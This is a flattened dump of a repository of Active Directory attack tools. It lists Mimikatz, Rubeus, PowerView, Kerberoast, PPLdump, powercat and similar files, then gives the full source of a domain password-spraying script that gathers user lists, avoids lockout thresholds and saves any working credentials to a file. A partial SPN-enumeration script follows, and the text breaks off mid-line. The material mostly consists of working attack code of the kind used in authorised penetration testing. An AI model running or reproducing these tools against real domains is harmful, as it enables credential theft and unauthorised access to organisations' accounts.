├── Certify.exe ├── DomainPasswordSpray.ps1 ├── FindSPNs.ps1 ├── Get-GPPPassword.ps1 ├── Get-PassHashes.ps1 ├── Inveigh.ps1 ├── Invoke-ACLPwn.ps1 ├── Invoke-Kerberoast.ps1 ├── Invoke-Mimikatz.ps1 ├── LAPSToolkit.ps1 ├── New-ADReport.ps1 ├── PPLdump.exe ├── PowerUp.ps1 ├── PowerUpSQL.ps1 ├── PowerView.ps1 ├── README.md ├── Raw-Ldap ├── Rubeus.exe ├── Rubeus3-5.exe ├── SearchGroup.ps1 ├── SearchUser.ps1 ├── Seatbelt3-5.exe ├── Seatbelt4-5.exe ├── SharpHound-BHE.ps1 ├── SharpHound.exe ├── SharpHound.ps1 ├── SpoolSample.exe ├── Watson.exe ├── Whisker.exe ├── powercat.ps1 └── pplb64 /Certify.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/binaryAccess/highway_to_hell/d892400a9019626f8b5d08c7500c139a4de1f982/Certify.exe -------------------------------------------------------------------------------- /DomainPasswordSpray.ps1: -------------------------------------------------------------------------------- 1 | function Invoke-DomainPasswordSpray{ 2 | <# 3 | .SYNOPSIS 4 | 5 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 6 | 7 | DomainPasswordSpray Function: Invoke-DomainPasswordSpray 8 | Author: Beau Bullock (@dafthack) and Brian Fehrman (@fullmetalcache) 9 | License: BSD 3-Clause 10 | Required Dependencies: None 11 | Optional Dependencies: None 12 | 13 | .DESCRIPTION 14 | 15 | This module performs a password spray attack against users of a domain. By default it will automatically generate the userlist from the domain. Be careful not to lockout any accounts. 16 | 17 | .PARAMETER UserList 18 | 19 | Optional UserList parameter. This will be generated automatically if not specified. 20 | 21 | .PARAMETER Password 22 | 23 | A single password that will be used to perform the password spray. 24 | 25 | .PARAMETER PasswordList 26 | 27 | A list of passwords one per line to use for the password spray (Be very careful not to lockout accounts). 28 | 29 | .PARAMETER OutFile 30 | 31 | A file to output the results to. 32 | 33 | .PARAMETER Domain 34 | 35 | The domain to spray against. 36 | 37 | .PARAMETER Force 38 | 39 | Forces the spray to continue and doesn't prompt for confirmation. 40 | 41 | .EXAMPLE 42 | 43 | C:\PS> Invoke-DomainPasswordSpray -Password Winter2016 44 | 45 | Description 46 | ----------- 47 | This command will automatically generate a list of users from the current user's domain and attempt to authenticate using each username and a password of Winter2016. 48 | 49 | .EXAMPLE 50 | 51 | C:\PS> Invoke-DomainPasswordSpray -UserList users.txt -Domain domain-name -PasswordList passlist.txt -OutFile sprayed-creds.txt 52 | 53 | Description 54 | ----------- 55 | This command will use the userlist at users.txt and try to authenticate to the domain "domain-name" using each password in the passlist.txt file one at a time. It will automatically attempt to detect the domain's lockout observation window and restrict sprays to 1 attempt during each window. 56 | 57 | 58 | #> 59 | Param( 60 | 61 | [Parameter(Position = 0, Mandatory = $false)] 62 | [string] 63 | $UserList = "", 64 | 65 | [Parameter(Position = 1, Mandatory = $false)] 66 | [string] 67 | $Password, 68 | 69 | [Parameter(Position = 2, Mandatory = $false)] 70 | [string] 71 | $PasswordList, 72 | 73 | [Parameter(Position = 3, Mandatory = $false)] 74 | [string] 75 | $OutFile, 76 | 77 | [Parameter(Position = 4, Mandatory = $false)] 78 | [string] 79 | $Domain = "", 80 | 81 | [Parameter(Position = 5, Mandatory = $false)] 82 | [switch] 83 | $Force 84 | ) 85 | 86 | if ($Domain -ne "") 87 | { 88 | Try 89 | { 90 | #Using domain specified with -Domain option 91 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 92 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 93 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 94 | } 95 | catch 96 | { 97 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option." 98 | break 99 | } 100 | } 101 | else 102 | { 103 | Try 104 | { 105 | #Trying to use the current user's domain 106 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 107 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 108 | } 109 | catch 110 | { 111 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option." 112 | break 113 | } 114 | } 115 | 116 | if ($UserList -eq "") 117 | { 118 | $UserListArray = Get-DomainUserList -Domain $Domain -RemoveDisabled -RemovePotentialLockouts 119 | } 120 | else 121 | { 122 | #if a Userlist is specified use it and do not check for lockout thresholds 123 | Write-Host "[*] Using $UserList as userlist to spray with" 124 | Write-Host -ForegroundColor "yellow" "[*] Warning: Users will not be checked for lockout threshold." 125 | $UserListArray = @() 126 | try 127 | { 128 | $UserListArray = Get-Content $UserList -ErrorAction stop 129 | } 130 | catch [Exception]{ 131 | Write-Host -ForegroundColor "red" "$_.Exception" 132 | break 133 | } 134 | 135 | } 136 | 137 | # If a single password is selected do this 138 | if ($Password) 139 | { 140 | #if no force flag is set we will ask if the user is sure they want to spray 141 | if (!$Force) 142 | { 143 | $title = "Confirm Password Spray" 144 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" 145 | 146 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 147 | "Attempts to authenticate 1 time per user in the list." 148 | 149 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 150 | "Cancels the password spray." 151 | 152 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 153 | 154 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 155 | 156 | switch ($result) 157 | { 158 | 0 159 | { 160 | $time = Get-Date 161 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())" 162 | Write-Host "[*] This might take a while depending on the total number of users" 163 | $curr_user = 0 164 | $count = $UserListArray.count 165 | 166 | ForEach($User in $UserListArray){ 167 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password) 168 | If ($Domain_check.name -ne $null) 169 | { 170 | if ($OutFile -ne "") 171 | { 172 | Add-Content $OutFile $User`:$Password 173 | } 174 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" 175 | } 176 | $curr_user+=1 177 | Write-Host -nonewline "$curr_user of $count users tested`r" 178 | } 179 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 180 | if ($OutFile -ne "") 181 | { 182 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 183 | } 184 | 185 | } 186 | 1 {"Cancelling the password spray."} 187 | } 188 | } 189 | #If the force flag is set don't bother asking if we are sure we want to spray. 190 | if ($Force) 191 | { 192 | $time = Get-Date 193 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun. Current time is $($time.ToShortTimeString())" 194 | Write-Host "[*] This might take a while depending on the total number of users" 195 | $curr_user = 0 196 | $count = $UserListArray.count 197 | 198 | ForEach($User in $UserListArray){ 199 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password) 200 | If ($Domain_check.name -ne $null) 201 | { 202 | if ($OutFile -ne "") 203 | { 204 | Add-Content $OutFile $User`:$Password 205 | } 206 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password" 207 | } 208 | $curr_user+=1 209 | Write-Host -nonewline "$curr_user of $count users tested`r" 210 | } 211 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 212 | if ($OutFile -ne "") 213 | { 214 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 215 | } 216 | } 217 | 218 | 219 | 220 | } 221 | # If a password list is selected do this 222 | ElseIf($PasswordList){ 223 | $Passwords = Get-Content $PasswordList 224 | #Get account lockout observation window to avoid running more than 1 password spray per observation window. 225 | $net_accounts = "cmd.exe /C net accounts /domain" 226 | $net_accounts_results = Invoke-Expression -Command:$net_accounts 227 | $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) 228 | $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) 229 | $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" 230 | [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) 231 | 232 | Write-Host -ForegroundColor Yellow "[*] WARNING - Be very careful not to lock out accounts with the password list option!" 233 | Write-Host -ForegroundColor Yellow "[*] The domain password policy observation window is set to $observation_window minutes." 234 | Write-Host "[*] Setting a $observation_window minute wait in between sprays." 235 | 236 | #if no force flag is set we will ask if the user is sure they want to spray 237 | if (!$Force) 238 | { 239 | $title = "Confirm Password Spray" 240 | $message = "Are you sure you want to perform a password spray against " + $UserListArray.count + " accounts?" 241 | 242 | $yes = New-Object System.Management.Automation.Host.ChoiceDescription "&Yes", ` 243 | "Attempts to authenticate 1 time per user in the list for each password in the passwordlist file." 244 | 245 | $no = New-Object System.Management.Automation.Host.ChoiceDescription "&No", ` 246 | "Cancels the password spray." 247 | 248 | $options = [System.Management.Automation.Host.ChoiceDescription[]]($yes, $no) 249 | 250 | $result = $host.ui.PromptForChoice($title, $message, $options, 0) 251 | 252 | switch ($result) 253 | { 254 | 0 255 | { 256 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun." 257 | Write-Host "[*] This might take a while depending on the total number of users" 258 | 259 | ForEach($Password_Item in $Passwords){ 260 | $time = Get-Date 261 | Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())" 262 | $curr_user = 0 263 | $count = $UserListArray.count 264 | 265 | ForEach($User in $UserListArray){ 266 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item) 267 | If ($Domain_check.name -ne $null) 268 | { 269 | if ($OutFile -ne "") 270 | { 271 | Add-Content $OutFile $User`:$Password_Item 272 | } 273 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item" 274 | } 275 | $curr_user+=1 276 | Write-Host -nonewline "$curr_user of $count users tested`r" 277 | } 278 | Countdown-Timer -Seconds (60*$observation_window) 279 | } 280 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 281 | if ($OutFile -ne "") 282 | { 283 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 284 | } 285 | 286 | } 287 | 1 {"Cancelling the password spray."} 288 | } 289 | } 290 | #if the force flag is set we will not bother asking about proceeding with password spray. 291 | if($Force) 292 | { 293 | Write-Host -ForegroundColor Yellow "[*] Password spraying has begun." 294 | Write-Host "[*] This might take a while depending on the total number of users" 295 | 296 | ForEach($Password_Item in $Passwords){ 297 | $time = Get-Date 298 | Write-Host "[*] Now trying password $Password_Item. Current time is $($time.ToShortTimeString())" 299 | $curr_user = 0 300 | $count = $UserListArray.count 301 | 302 | ForEach($User in $UserListArray){ 303 | $Domain_check = New-Object System.DirectoryServices.DirectoryEntry($CurrentDomain,$User,$Password_Item) 304 | If ($Domain_check.name -ne $null) 305 | { 306 | if ($OutFile -ne "") 307 | { 308 | Add-Content $OutFile $User`:$Password_Item 309 | } 310 | Write-Host -ForegroundColor Green "[*] SUCCESS! User:$User Password:$Password_Item" 311 | } 312 | $curr_user+=1 313 | Write-Host -nonewline "$curr_user of $count users tested`r" 314 | } 315 | Countdown-Timer -Seconds (60*$observation_window) 316 | } 317 | Write-Host -ForegroundColor Yellow "[*] Password spraying is complete" 318 | if ($OutFile -ne "") 319 | { 320 | Write-Host -ForegroundColor Yellow "[*] Any passwords that were successfully sprayed have been output to $OutFile" 321 | } 322 | 323 | } 324 | } 325 | Else{ 326 | Write-Host -ForegroundColor Red "The -Password or -PasswordList option must be specified" 327 | break 328 | } 329 | } 330 | 331 | Function Countdown-Timer 332 | { 333 | Param( 334 | $Seconds = 1800, 335 | $Message = "[*] Pausing to avoid account lockout." 336 | ) 337 | ForEach ($Count in (1..$Seconds)) 338 | { Write-Progress -Id 1 -Activity $Message -Status "Waiting for $($Seconds/60) minutes. $($Seconds - $Count) seconds remaining" -PercentComplete (($Count / $Seconds) * 100) 339 | Start-Sleep -Seconds 1 340 | } 341 | Write-Progress -Id 1 -Activity $Message -Status "Completed" -PercentComplete 100 -Completed 342 | } 343 | 344 | Function Get-DomainUserList{ 345 | 346 | <# 347 | .SYNOPSIS 348 | 349 | This module gathers a userlist from the domain. 350 | 351 | DomainPasswordSpray Function: Get-DomainUserList 352 | Author: Beau Bullock (@dafthack) 353 | License: BSD 3-Clause 354 | Required Dependencies: None 355 | Optional Dependencies: None 356 | 357 | .DESCRIPTION 358 | 359 | This module gathers a userlist from the domain. 360 | 361 | .PARAMETER Domain 362 | 363 | The domain to spray against. 364 | 365 | .PARAMETER RemoveDisabled 366 | 367 | Attempts to remove disabled accounts from the userlist. (Credit to Sally Vandeven (@sallyvdv)) 368 | 369 | .PARAMETER RemovePotentialLockouts 370 | 371 | Removes accounts within 1 attempt of locking out. 372 | 373 | .EXAMPLE 374 | 375 | C:\PS> Get-DomainUserList 376 | 377 | Description 378 | ----------- 379 | This command will gather a userlist from the domain including all samAccountType "805306368". 380 | 381 | .EXAMPLE 382 | 383 | C:\PS> Get-DomainUserList -Domain domainname -RemoveDisabled -RemovePotentialLockouts | Out-File -Encoding ascii userlist.txt 384 | 385 | Description 386 | ----------- 387 | This command will gather a userlist from the domain "domainname" including any accounts that are not disabled and are not close to locking out. It will write them to a file at "userlist.txt" 388 | 389 | #> 390 | Param( 391 | [Parameter(Position = 0, Mandatory = $false)] 392 | [string] 393 | $Domain = "", 394 | 395 | [Parameter(Position = 1, Mandatory = $false)] 396 | [switch] 397 | $RemoveDisabled, 398 | 399 | [Parameter(Position = 2, Mandatory = $false)] 400 | [switch] 401 | $RemovePotentialLockouts 402 | ) 403 | 404 | if ($Domain -ne "") 405 | { 406 | Try 407 | { 408 | #Using domain specified with -Domain option 409 | $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext("domain",$Domain) 410 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) 411 | $CurrentDomain = "LDAP://" + ([ADSI]"LDAP://$Domain").distinguishedName 412 | } 413 | catch 414 | { 415 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try again specifying the domain name with the -Domain option." 416 | break 417 | } 418 | } 419 | else 420 | { 421 | Try 422 | { 423 | #Trying to use the current user's domain 424 | $DomainObject =[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() 425 | $CurrentDomain = "LDAP://" + ([ADSI]"").distinguishedName 426 | } 427 | catch 428 | { 429 | Write-Host -ForegroundColor "red" "[*] Could connect to the domain. Try specifying the domain name with the -Domain option." 430 | break 431 | } 432 | } 433 | 434 | #Setting the current domain's account lockout threshold 435 | $objDeDomain = [ADSI] "LDAP://$($DomainObject.PDCRoleOwner)" 436 | $AccountLockoutThresholds = @() 437 | $AccountLockoutThresholds += $objDeDomain.Properties.lockoutthreshold 438 | 439 | #Getting the AD behavior version to determine if fine-grained password policies are possible 440 | $behaviorversion = [int] $objDeDomain.Properties['msds-behavior-version'].item(0) 441 | if ($behaviorversion -ge 3) 442 | { 443 | #Determine if there are any fine-grained password policies 444 | Write-Host "[*] Current domain is compatible with Fine-Grained Password Policy." 445 | $ADSearcher = New-Object System.DirectoryServices.DirectorySearcher 446 | $ADSearcher.SearchRoot = $objDeDomain 447 | $ADSearcher.Filter = "(objectclass=msDS-PasswordSettings)" 448 | $PSOs = $ADSearcher.FindAll() 449 | 450 | if ( $PSOs.count -gt 0) 451 | { 452 | Write-Host -foregroundcolor "yellow" ("[*] A total of " + $PSOs.count + " Fine-Grained Password policies were found.`r`n") 453 | foreach($entry in $PSOs) 454 | { 455 | #Selecting the lockout threshold, min pwd length, and which groups the fine-grained password policy applies to 456 | $PSOFineGrainedPolicy = $entry | Select-Object -ExpandProperty Properties 457 | $PSOPolicyName = $PSOFineGrainedPolicy.name 458 | $PSOLockoutThreshold = $PSOFineGrainedPolicy.'msds-lockoutthreshold' 459 | $PSOAppliesTo = $PSOFineGrainedPolicy.'msds-psoappliesto' 460 | $PSOMinPwdLength = $PSOFineGrainedPolicy.'msds-minimumpasswordlength' 461 | #adding lockout threshold to array for use later to determine which is the lowest. 462 | $AccountLockoutThresholds += $PSOLockoutThreshold 463 | 464 | Write-Host "[*] Fine-Grained Password Policy titled: $PSOPolicyName has a Lockout Threshold of $PSOLockoutThreshold attempts, minimum password length of $PSOMinPwdLength chars, and applies to $PSOAppliesTo.`r`n" 465 | } 466 | } 467 | 468 | } 469 | 470 | #Get account lockout observation window to avoid running more than 1 password spray per observation window. 471 | $net_accounts = "cmd.exe /C net accounts /domain" 472 | $net_accounts_results = Invoke-Expression -Command:$net_accounts 473 | $stripped_policy = ($net_accounts_results | Where-Object {$_ -like "*Lockout Observation Window*"}) 474 | $stripped_split_a, $stripped_split_b = $stripped_policy.split(':',2) 475 | $observation_window_no_spaces = $stripped_split_b -Replace '\s+',"" 476 | [int]$observation_window = [convert]::ToInt32($observation_window_no_spaces, 10) 477 | 478 | #Generate a userlist from the domain 479 | #Selecting the lowest account lockout threshold in the domain to avoid locking out any accounts. 480 | [int]$SmallestLockoutThreshold = $AccountLockoutThresholds | sort | Select -First 1 481 | Write-Host -ForegroundColor "yellow" "[*] Now creating a list of users to spray..." 482 | 483 | if ($SmallestLockoutThreshold -eq "0") 484 | { 485 | Write-Host -ForegroundColor "Yellow" "[*] There appears to be no lockout policy." 486 | } 487 | else 488 | { 489 | Write-Host -ForegroundColor "Yellow" "[*] The smallest lockout threshold discovered in the domain is $SmallestLockoutThreshold login attempts." 490 | } 491 | 492 | $UserSearcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$CurrentDomain) 493 | $DirEntry = New-Object System.DirectoryServices.DirectoryEntry 494 | $UserSearcher.SearchRoot = $DirEntry 495 | 496 | $UserSearcher.PropertiesToLoad.Add("samaccountname") > $Null 497 | $UserSearcher.PropertiesToLoad.Add("badpwdcount") > $Null 498 | $UserSearcher.PropertiesToLoad.Add("badpasswordtime") > $Null 499 | 500 | If ($RemoveDisabled){ 501 | Write-Host -ForegroundColor "yellow" "[*] Removing disabled users from list." 502 | # more precise LDAP filter UAC check for users that are disabled (Joff Thyer) 503 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2))" 504 | } 505 | else 506 | { 507 | $UserSearcher.filter = "(&(objectCategory=person)(objectClass=user))" 508 | } 509 | 510 | # grab batches of 1000 in results 511 | $UserSearcher.PageSize = 1000 512 | $AllUserObjects = $UserSearcher.FindAll() 513 | Write-Host -ForegroundColor "yellow" ("[*] There are " + $AllUserObjects.count + " total users found.") 514 | $UserListArray = @() 515 | 516 | If ($RemovePotentialLockouts) 517 | { 518 | Write-Host -ForegroundColor "yellow" "[*] Removing users within 1 attempt of locking out from list." 519 | Foreach ($user in $AllUserObjects) 520 | { 521 | #Getting bad password counts and lst bad password time for each user 522 | $badcount = $user.Properties.badpwdcount 523 | $samaccountname = $user.Properties.samaccountname 524 | try 525 | { 526 | $badpasswordtime = $user.Properties.badpasswordtime[0] 527 | } 528 | catch 529 | { 530 | continue 531 | } 532 | $currenttime = Get-Date 533 | $lastbadpwd = [DateTime]::FromFileTime($badpasswordtime) 534 | $timedifference = ($currenttime - $lastbadpwd).TotalMinutes 535 | 536 | if ($badcount) 537 | { 538 | 539 | [int]$userbadcount = [convert]::ToInt32($badcount, 10) 540 | $attemptsuntillockout = $SmallestLockoutThreshold - $userbadcount 541 | #if there is more than 1 attempt left before a user locks out or if the time since the last failed login is greater than the domain observation window add user to spray list 542 | if (($timedifference -gt $observation_window) -Or ($attemptsuntillockout -gt 1)) 543 | { 544 | $UserListArray += $samaccountname 545 | } 546 | } 547 | } 548 | } 549 | else 550 | { 551 | Foreach ($user in $AllUserObjects) 552 | { 553 | $samaccountname = $user.Properties.samaccountname 554 | $UserListArray += $samaccountname 555 | } 556 | } 557 | 558 | Write-Host -foregroundcolor "yellow" ("[*] Created a userlist containing " + $UserListArray.count + " users gathered from the current user's domain") 559 | return $UserListArray 560 | } 561 | -------------------------------------------------------------------------------- /FindSPNs.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Find and report configured SPNs and verify computer accounts status and group membership 4 | .DESCRIPTION 5 | Find and report configured SPNs and verify computer accounts status and group membership 6 | .EXAMPLE 7 | .\FindSPNs.ps1 8 | .INPUTS 9 | ReportPathUsersCSV 10 | If specified, output of SPNs on user accounts will be written to this location/file. If omitted, output will be written to same folder as location of script with predefinied name "FindSPNs.csv". 11 | 12 | ReportPathComputersCSV 13 | If specified, output of SPNs on computer accounts will be written to this location/file. If omitted, output will be written to same folder as location of script with predefinied name "FindSPNs.csv". 14 | 15 | NoUsers 16 | If specified, SPNs from user accounts will not be inventoried 17 | 18 | NoComputers 19 | If specified, SPNs from computer accounts will not be inventoried 20 | 21 | ShowResult 22 | If specified, results will be shown as it gerts inventoried 23 | .OUTPUTS 24 | Results will be logged to CSV file and optionally to the console. 25 | #> 26 | 27 | <# 28 | History 29 | Date Version Description 30 | 2018-12-12 1.0.0 Initial 31 | #> 32 | 33 | param 34 | ( 35 | [ValidateNotNull()] 36 | [ValidateLength(0,2048)] 37 | $ReportPathUsersCSV = "$($PSCommandPath | Split-Path -Parent)\SPNUsers.txt", 38 | 39 | [ValidateNotNull()] 40 | [ValidateLength(0,2048)] 41 | $ReportPathComputersCSV = "$($PSCommandPath | Split-Path -Parent)\SPNComputers.txt", 42 | 43 | [switch] 44 | $NoUsers, 45 | 46 | [switch] 47 | $NoComputers = $true, 48 | 49 | [switch] 50 | $showResult 51 | ) 52 | 53 | $userAccountControlAttributes = @{ 54 | LogonScriptExecuted = 0x1 55 | AccountDisabled = 0x2 56 | HomeDirRequired = 0x8 57 | LockedOut = 0x10 58 | PasswordNotRequired = 0x20 59 | CannotChangePassword = 0x40 60 | CanSendEncryptedPassword = 0x80 61 | DuplicateAccount = 0x100 62 | NormalAccount = 0x200 63 | TrustAccountForInterDomain = 0x800 64 | IsComputerAccount = 0x1000 65 | ServerTrustAccount = 0x2000 66 | PasswordNeverExpires = 0x10000 67 | MNSLogonAccount = 0x20000 68 | SmartcardRequired = 0x40000 69 | TrustedForDelegation = 0x80000 70 | NotDelegated = 0x100000 71 | UseDESKeyOnly = 0x200000 72 | PreAuthNotRequired = 0x400000 73 | AccountExpired = 0x800000 74 | EnabledForDelegation = 0x1000000 75 | } 76 | 77 | #region Functions 78 | function Log-Text 79 | { 80 | [cmdletbinding()] 81 | param 82 | ( 83 | $Text, 84 | 85 | [ValidateSet("Info", "Warning", "Error")] 86 | $Type = 'Info', 87 | 88 | $LogPath = "$($PSCommandPath | Split-Path -Parent)\FindSPNs.log" 89 | ) 90 | 91 | Write-Verbose -Message $Text 92 | 93 | $timeStamp = Get-Date -Format 'yyyy-MM-dd HH:mm:ss' 94 | $logLine = "$timeStamp - $($Type.PadRight(10)) - $($Text.Trim())" 95 | Add-Content -Path $LogPath -Value $logLine 96 | } 97 | 98 | function Get-ComputerAccountInfo 99 | { 100 | param 101 | ( 102 | $ServicePrincipalName 103 | ) 104 | 105 | Write-Verbose -Message "SPNs=$($ServicePrincipalName -join ', ')" 106 | 107 | $result = New-Object psobject -Property @{computerAccountExists='' 108 | NonComputerAccounts='' 109 | } 110 | 111 | $computerAccountExists = @() 112 | $nonComputerAccounts = @() 113 | $NamesAlreadyHandled = @() 114 | 115 | $ServicePrincipalName | ForEach-Object ` 116 | { 117 | $isolatedName = $_.Split('/')[1].Trim("'") 118 | if ($isolatedName -like '*:*') 119 | { 120 | $isolatedName = $isolatedName.Split(':')[0] 121 | } 122 | 123 | Write-Verbose -Message " SPN='$isolatedName'" 124 | 125 | if ($NamesAlreadyHandled -notcontains $isolatedName) 126 | { 127 | switch ($isolatedName) 128 | { 129 | {$_ -match '\.'} 130 | { 131 | $computerAccount = Get-ADComputer -Filter "DNSHostName -eq '$isolatedName'" -Properties lastLogonTimestamp, useraccountcontrol 132 | 133 | if (-not $computerAccount) 134 | { 135 | Write-Verbose -Message " Not found: '$isolatedName'" 136 | $tryShortName = $isolatedName.split('.')[0] 137 | $computerAccount = Get-ADComputer -Filter "Name -eq '$tryShortName'" -Properties lastLogonTimestamp, useraccountcontrol 138 | if (-not $computerAccount) 139 | { 140 | Write-Verbose -Message " Not found: '$tryShortName'" 141 | } 142 | else 143 | { 144 | Write-Verbose -Message " Success. Found on short name: '$tryShortName'" 145 | } 146 | } 147 | } 148 | default 149 | { 150 | $computerAccount = Get-ADComputer -Filter "Name -eq '$isolatedName'" -Properties lastLogonTimestamp, useraccountcontrol 151 | } 152 | } 153 | 154 | if ($computerAccount -and ($NamesAlreadyHandled -notcontains $computerAccount.DistinguishedName)) 155 | { 156 | $computerAccountEnabled = 'Enabled' 157 | if ($computerAccount.useraccountcontrol -band $userAccountControlAttributes.AccountDisabled) 158 | { 159 | $computerAccountEnabled = 'Disabled' 160 | } 161 | 162 | $ComputerAccountLastLogonTimeStamp = Get-Date ([datetime]::FromFileTime($computerAccount.lastLogonTimestamp)) -Format 'yyyy-MM-dd HH:mm:ss' 163 | 164 | $ComputerAccountLastLogonAge = [math]::round(((Get-Date) - (Get-Date ([datetime]::FromFileTime($computerAccount.lastLogonTimestamp)))).TotalDays, 2) 165 | 166 | if (((Get-Date) - (Get-Date ([datetime]::FromFileTime($computerAccount.lastLogonTimestamp)))).TotalDays -gt 30) 167 | { 168 | if (-not $ComputerAccountLastLogonTimeStamp.lastLogonTimestamp) 169 | { 170 | $ComputerAccountLastLogonOver30Days = 'NEVERLOGGEDON' 171 | } 172 | else 173 | { 174 | $ComputerAccountLastLogonOver30Days = 'OLD' 175 | } 176 | } 177 | else 178 | { 179 | $ComputerAccountLastLogonOver30Days = 'Active' 180 | } 181 | 182 | $computerAccountExists += "$isolatedName/$computerAccountEnabled/$ComputerAccountLastLogonOver30Days/$ComputerAccountLastLogonAge/$ComputerAccountLastLogonTimeStamp" 183 | 184 | $NamesAlreadyHandled += $isolatedName 185 | } 186 | elseif (-not $computerAccount) 187 | { 188 | $nonComputerAccounts += $isolatedName 189 | } 190 | } 191 | else 192 | { 193 | Write-Verbose -Message " SPN '$($computerAccount.Name)' already handled" 194 | } 195 | } 196 | 197 | if ($computerAccountExists) 198 | { 199 | $result.computerAccountExists = "'" + $($computerAccountExists -join "', '") + "'" 200 | } 201 | else 202 | { 203 | $result.computerAccountExists = '' 204 | } 205 | 206 | if ($nonComputerAccounts) 207 | { 208 | $result.nonComputerAccounts = "'" + $($nonComputerAccounts -join "', '") + "'" 209 | } 210 | else 211 | { 212 | $result.nonComputerAccounts = '' 213 | } 214 | 215 | 216 | 217 | Write-Verbose -Message " computerAccountExists='$($result.computerAccountExists)'" 218 | Write-Verbose -Message " NonComputerAccounts='$($result.nonComputerAccounts)'" 219 | 220 | $result 221 | } 222 | #endregion Functions 223 | 224 | 225 | #region Code 226 | Log-Text -Text 'Start' 227 | 228 | $domainSID = (Get-ADDomain).DomainSID 229 | $domainFQDN = (Get-ADDomain).DistinguishedName 230 | 231 | 232 | if (-not $NoUsers) 233 | { 234 | #Handle users 235 | if (Test-Path -Path $ReportPathUsersCSV) 236 | { 237 | Remove-Item -Path $ReportPathUsersCSV 238 | } 239 | 240 | $SPNCount = (Get-ADUser -Filter 'ServicePrincipalNames -like "*"' | Measure-Object).Count 241 | Write-Verbose -Message "Querying $SPNCount users" 242 | $idx = 0 243 | 244 | Get-ADUser -Filter 'ServicePrincipalNames -like "*"' | Get-ADObject -Properties *, msDS-AllowedToDelegateTo | ForEach-Object ` 245 | { 246 | $startProcess = Get-Date 247 | $idx++ 248 | 249 | Log-Text -Text "Processing user '$($_.DistinguishedName)" 250 | 251 | $memberOfGroups = @((Get-ADGroup "$domainSID-$($_.primaryGroupID)").DistinguishedName) 252 | 253 | $otherGroups = (New-Object System.DirectoryServices.DirectorySearcher("(&(objectCategory=User)(samAccountName=$($_.name)))")).FindOne() 254 | if ($otherGroups) 255 | { 256 | $memberOfGroups += $otherGroups.GetDirectoryEntry().memberOf 257 | } 258 | 259 | 260 | $computerAccountInfo = Get-ComputerAccountInfo -ServicePrincipalName $_.ServicePrincipalName 261 | 262 | $computerAccountExists = $computerAccountInfo.computerAccountExists 263 | $nonComputerAccounts = $computerAccountInfo.nonComputerAccounts 264 | 265 | $record = New-Object pscustomobject -Property @{ 266 | Name = $_.Name 267 | SamAccountName = $_.SamAccountName 268 | DistinguishedName = $_.DistinguishedName 269 | SPNs = "'" + ($_.ServicePrincipalName -join "', '") + "'" 270 | Delegations = "'" + ($_.'msDS-AllowedToDelegateTo' -join "', '") + "'" 271 | MemberOfGroups = "'" + ($memberOfGroups -join "', '") + "'" 272 | ComputerAccountExists = $computerAccountExists 273 | NonComputerAccounts = $nonComputerAccounts 274 | UACLogonScriptExecuted = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.LogonScriptExecuted) -gt0) 275 | UACAccountDisabled = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.AccountDisabled) -gt0) 276 | UACHomeDirRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.HomeDirRequired) -gt0) 277 | UACLockedOut = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.LockedOut) -gt0) 278 | UACPasswordNotRequired = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.PasswordNotRequired) -gt0) 279 | UACCannotChangePassword = [int](([int64]$_.UserAccountControl -band $userAccountControlAttributes.CannotChangePassword) -gt0) 280 | UACCanSendEncryptedPassword = 